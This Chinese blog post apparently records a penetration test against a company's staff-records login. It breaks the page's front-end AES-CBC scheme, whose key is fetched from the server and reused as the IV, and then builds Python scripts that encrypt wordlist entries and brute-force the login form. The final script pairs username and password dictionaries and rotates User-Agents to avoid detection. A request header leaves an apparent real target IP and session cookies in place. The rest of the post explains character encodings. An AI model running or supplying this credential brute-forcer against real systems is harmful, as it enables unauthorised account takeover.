天天看點

項目記實(一)

針對某集團公司前端加密,python實作暴力破解

前言:

HW前期,某集團公司為加強安全建設,進行安全測試項目,滲透過程中發現很多問題,這裡不一一記錄。此文僅為記錄針對某處前端AES加密,使用python進行算法實作,最後達到暴力破解的目的

0x01.分析

這是某人員檔案系統的登入背景

項目記實(一)

我們檢視它的網頁源代碼,發現采用AES前端加密方法(估計是疫情期間臨時緊急搭建的平台)

0x02.設計思路

到/a/k檔案中擷取目前時間的加密字元串,作為key值(key每經過30s左右的時間就會更新一次),進入Encrypt函數進行加密

function Encrypt (text,key) {
		let encrypted = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(key), {
			iv: CryptoJS.enc.Utf8.parse(key),    #密碼:key;偏移量iv:key;字元集:utf8
			mode: CryptoJS.mode.CBC,    #AES加密模式:CBC
			padding: CryptoJS.pad.Pkcs7   #填充:pkcs7padding
		})
           

0x03.實作

第一步 請求key值:

import ssl
import urllib.request

ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen(\'https://xx.xx/a/k/\')
text = data.read().decode(\'utf8\')
print(text)
           

第二步 加密過程實作:

import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


class AESCipher(object):

    def __init__(self, key, mode, **kwargs):

        self.key = key
        self.mode = mode
        self.kwargs = kwargs

    def _get_aes(self):
        return AES.new(self.key.encode(\'utf-8\'), self.mode, **self.kwargs)

    def encrypt(self, plain_text):
        # 選擇pkcs7補全
        pad_pkcs7 = pad(plain_text.encode(\'utf-8\'), AES.block_size)
        encrypt_data = self._get_aes().encrypt(pad_pkcs7)
        return str(base64.b64encode(encrypt_data), encoding=\'utf-8\')


def main():
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen(\'https://xx.xx/a/k/\')
    key = data.read().decode(\'utf8\')

    cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
    cipher_text = cbc_cipher.encrypt(\'admin\')
    print(cipher_text)


if __name__ == \'__main__\':
    main()

           

第三步 字典自動化加密過程實作

import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


class AESCipher(object):

    def __init__(self, key, mode, **kwargs):

        self.key = key
        self.mode = mode
        self.kwargs = kwargs

    def _get_aes(self):
        return AES.new(self.key.encode(\'utf-8\'), self.mode, **self.kwargs)

    def encrypt(self, plain_text):
        # 選擇pkcs7補全
        pad_pkcs7 = pad(plain_text.encode(\'utf-8\'), AES.block_size)
        encrypt_data = self._get_aes().encrypt(pad_pkcs7)
        return str(base64.b64encode(encrypt_data), encoding=\'utf-8\')


def encrypted(password):
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen(\'https://xx.xx/a/k/\')
    key = data.read().decode(\'utf8\')

    cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
    cipher_text = cbc_cipher.encrypt(password)
    print(cipher_text)


if __name__ == \'__main__\':
    wordList = open(\'word.txt\',\'r\')
    word = wordList.readlines()
    for password_list in word:
        password = password_list.strip()
        encrypted(password)

           

第四步 構造資料包,發送網絡請求

import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3



class AESCipher(object):

    def __init__(self, key, mode, **kwargs):

        self.key = key
        self.mode = mode
        self.kwargs = kwargs

    def _get_aes(self):
        return AES.new(self.key.encode(\'utf-8\'), self.mode, **self.kwargs)

    def encrypt(self, plain_text):
        # 選擇pkcs7補全
        pad_pkcs7 = pad(plain_text.encode(\'utf-8\'), AES.block_size)
        encrypt_data = self._get_aes().encrypt(pad_pkcs7)
        return str(base64.b64encode(encrypt_data), encoding=\'utf-8\')


def encrypted(a):
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen(\'https://xx.xx/a/k/\')
    key = data.read().decode(\'utf8\')

    cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
    cipher_text = cbc_cipher.encrypt(a)

    brute(cipher_text)


# 暴力破解
def brute(value):

    proxy = {
        "https": "https://127.0.0.1:8080",
    }
    headers = {\'Host\': \'xx.xx\',
               \'User-Agent\': \'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\',
               \'Accept\': \'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\',
               \'Accept-Language\': \'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\',
               \'Content-Type\':\'application/x-www-form-urlencoded\',
               \'Connection\': \'close\',
               \'Content-Length\': \'75\',
               \'Cookie\': \'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798\',
               \'Upgrade-Insecure-Requests\':\'1\'}
    values = \'username=%s\' % value + \'&password=%s\' % value
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    requests.post(\'https://xx.xx/welcome.html\', headers=headers, data=values, proxies=proxy,verify=False)


if __name__ == \'__main__\':
    wordList = open(\'word.txt\',\'r\')
    word = wordList.readlines()
    for password_list in word:
        password = password_list.strip()
        encrypted(password)
           

第五步:雙字典cluster bomb模式爆破

import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3



class AESCipher(object):

    def __init__(self, key, mode, **kwargs):

        self.key = key
        self.mode = mode
        self.kwargs = kwargs

    def _get_aes(self):
        return AES.new(self.key.encode(\'utf-8\'), self.mode, **self.kwargs)

    def encrypt(self, plain_text):
        # 選擇pkcs7補全
        pad_pkcs7 = pad(plain_text.encode(\'utf-8\'), AES.block_size)
        encrypt_data = self._get_aes().encrypt(pad_pkcs7)
        return str(base64.b64encode(encrypt_data), encoding=\'utf-8\')


def encrypted(a,b):
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen(\'https://xx.xx/a/k/\')
    key = data.read().decode(\'utf8\')

    cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
    cipher_text1 = cbc_cipher.encrypt(a)
    cipher_text2 = cbc_cipher.encrypt(b)
    brute(cipher_text1,cipher_text2)


# 暴力破解
def brute(value1,value2):
    ua_list = [
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
    "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
    "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
    "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"]
    proxy = {
        "https": "https://127.0.0.1:8080",
    }
    ua = random.choice(ua_list)
    headers = {\'Host\': \'211.156.195.166\',
               \'User-Agent\': ua,
               \'Accept\': \'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\',
               \'Accept-Language\': \'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\',
               \'Content-Type\':\'application/x-www-form-urlencoded\',
               \'Connection\': \'close\',
               \'Content-Length\': \'75\',
               \'Cookie\': \'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798\',
               \'Upgrade-Insecure-Requests\':\'1\'}
    data = \'username=%s\' % value1 + \'&password=%s\' % value2
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    requests.post(\'https://xx.xx/welcome.html\', headers=headers, data=data, proxies=proxy,verify=False)


if __name__ == \'__main__\':
    with open(\'user.txt\',\'r\') as userList:
        with open(\'word.txt\',\'r\') as passList:
            for username in userList.readlines():
                for password in passList.readlines():
                    user = username.strip()
                    word = password.strip()
                    encrypted(username,word)
                passList.seek(0)
# 記住這裡要将檔案重新移到檔案首,不然就會出現隻執行外層循環的第一條,因為内層在疊代之後(readlines()是疊代器的形式,疊代一次後檔案指針就指到檔案尾了,疊代器也是end了,第二次就沒有password 在 passList中
# 也就是說 for password in passList.readlines():為空,是以這裡的内層循環就不會再被執行了,是以也就是疊代器清零的問題(C ++ itertor 常有)
           

成果截圖:

項目記實(一)
項目記實(一)

第六步 線程

:)加不加線程,取決于網站防護,當然,也屬個人愛好,由于手裡還有其他項目,這裡就不贅述了。

另:Github上有針對前端加密的自動化暴力破解的burp插件jsEncrypter ,感興趣的可以去了解下,個人屬實沒玩明白,不做評價。

http://gv7.me/articles/2017/jsEncrypter/?nsukey=4euQnxPbr7mYBEh4c0PjPiuxTlc2Hk59s01x3%2B0ROVFEQ5f7yyx1Z4TijFr1Gkn0ALDGejuNlDjSshCIDmTYB1g1k%2Bt9OREnXhwGQtRCSF6qWLtYx%2BB6tp%2B2QbV%2BkB8Hw5OBey6Mu4PfzaF%2BEdX8RgK%2BN%2B6e23MyN8N%2B5xp1UY8TisnBP2k%2FeB3ixhd7M50a7oyi%2FD41CDp3HHKQ%2Bk4tVQ%3D%3D

0x04.知識介紹

crypto-js AES加密知識

crypto-js 是一個純

javascript

寫的加密算法類庫 ,可以非常友善地在

javascript

進行

MD5

SHA1

SHA2

SHA3

RIPEMD-160

哈希散列,進行

AES

DES

Rabbit

RC4

Triple DES

加解密,我們可以采用

npm install crypto-js --save

進行下載下傳安裝,也可以直接去 GitHub下載下傳源碼~

進階加密标準(AES,Advanced Encryption Standard)為最常見的對稱加密算法(微信小程式加密傳輸就是用這個加密算法的)。對稱加密算法也就是加密和解密用相同的密鑰,具體的加密流程如下圖:

項目記實(一)

值得注意的是密鑰的長度,由于對稱解密使用的算法是

AES-128-CBC

算法,資料采用

PKCS#7

填充 , 是以這裡的

key

需要為16位!

AES加密算法詳情請參考:https://blog.csdn.net/qq_28205153/article/details/55798628

字元集、字元編碼知識

字元:在計算機和電信技術中,一個字元是一個機關的字形、類字形機關或符号的基本資訊。即一個字元可以是一個中文漢字、一個英文字母、一個阿拉伯數字、一個标點符号等。

字元集:多個字元的集合。例如GB2312是中國國家标準的簡體中文字元集,GB2312收錄簡化漢字(6763個)及一般符号、序号、數字、拉丁字母、日文假名、希臘字母、俄文字母、漢語拼音符号、漢語注音字母,共 7445 個圖形字元。

字元編碼:把字元集中的字元編碼為(映射)指定集合中的某一對象(例如:比特模式、自然數序列、電脈沖),以便文本在計算機中存儲和通過通信網絡的傳遞。

字元集和字元編碼的關系 :

字元集是書寫系統字母與符号的集合,而字元編碼則是将字元映射為一特定的位元組或位元組序列,是一種規則。通常特定的字元集采用特定的編碼方式(即一種字元集對應一種字元編碼(例如:ASCII、IOS-8859-1、GB2312、GBK,都是即表示了字元集又表示了對應的字元編碼,但Unicode不是,它采用現代的模型)),是以基本上可以将兩者視為同義詞。

字元編碼的常用種類介紹

項目記實(一)

第一種:ASCII碼

​ ASCII(American Standard Code for Information Interchange,美國資訊交換标準代碼)是基于拉丁字母的一套電腦編碼系統,主要用于顯示現代英語和其他西歐語言。它是現今最通用的單位元組編碼系統,并等同于國際标準ISO/IEC 646。如下圖所示:

項目記實(一)

第二種:GBK 和 GB2312

 對于我們來說能在計算機中顯示中文字元是至關重要的,然而ASCII表裡連一個偏旁部首也沒有。是以我們還需要一張關于中文和數字對應的關系表。一個位元組隻能最多表示256個字元,要進行中文顯然一個位元組是不夠的,是以我們需要采用兩個位元組來表示,而且還不能和ASCII編碼沖突,是以,中國制定了GB2312編碼,用來把中文編進去。

第三種:Unicode

 但這樣的話,就會出現一個問題,各個國家都一套自己的編碼,就不可避免會有沖突,這是該怎麼辦呢?

 是以,Unicode應運而生。Unicode把所有語言都統一到一套編碼裡,這樣就不會再有亂碼問題了。

 Unicode标準也在不斷發展,但最常用的是用兩個位元組表示一個字元(如果要用到非常偏僻的字元,就需要4個位元組)。現代作業系統和大多數程式設計語言都直接支援Unicode。   

 現在,分析一下ASCII編碼和Unicode編碼的差別:

  • ASCII編碼是1個位元組,而Unicode編碼通常是2個位元組。
  • 字母A用ASCII編碼是十進制的65,二進制的01000001;
  • 字元0用ASCII編碼是十進制的48,二進制的00110000;
  • 漢字“中”已經超出了ASCII編碼的範圍,用Unicode編碼是十進制的20013,二進制的01001110 00101101。
  • 如果把ASCII編碼的A用Unicode編碼,隻需要在前面補0就可以,是以,A的Unicode編碼是00000000 01000001。
  • 但如果統一成Unicode編碼,亂碼問題從此消失了。但是,如果你寫的文本基本上全部是英文的話,用Unicode編碼比ASCII編碼需要多一倍的存儲空間,在存儲和傳輸上就十分不劃算。

第四種:UTF-8

  基于節約的原則,出現了把Unicode編碼轉化為“可變長編碼”的UTF-8編碼。UTF-8編碼把一個Unicode字元根據不同的數字大小編碼成1-6個位元組,常用的英文字母被編碼成1個位元組,漢字通常是3個位元組,隻有很生僻的字元才會被編碼成4-6個位元組。如果你要傳輸的文本包含大量英文字元,用UTF-8編碼就能節省空間了。如下所示:

項目記實(一)

 從上面的表格還可以發現,UTF-8編碼有一個額外的好處,就是ASCII編碼實際上可以被看成是UTF-8編碼的一部分,是以,大量隻支援ASCII編碼的曆史遺留軟體可以在UTF-8編碼下繼續工作。

我們總結一下現在計算機系統通用的字元編碼工作方式:

  在計算機記憶體中,統一使用Unicode編碼,當需要儲存到硬碟或者需要傳輸的時候,就轉換為UTF-8編碼。

  用記事本編輯的時候,從檔案讀取的UTF-8字元被轉換為Unicode字元到記憶體裡,編輯完成後,儲存的時候再把Unicode轉換為UTF-8儲存到檔案。如下圖:

項目記實(一)

0x05.說明

文章是寫代碼之餘做筆記來的,略顯簡略粗糙。代碼不夠精簡之處,請各位python巨佬多多指教,評論區多多留言,拜謝!

Reference

https://blog.csdn.net/qq_28205153/article/details/55798628

https://ww.pythontab.com/html/2013/pythonhexinbiancheng_1218/631.html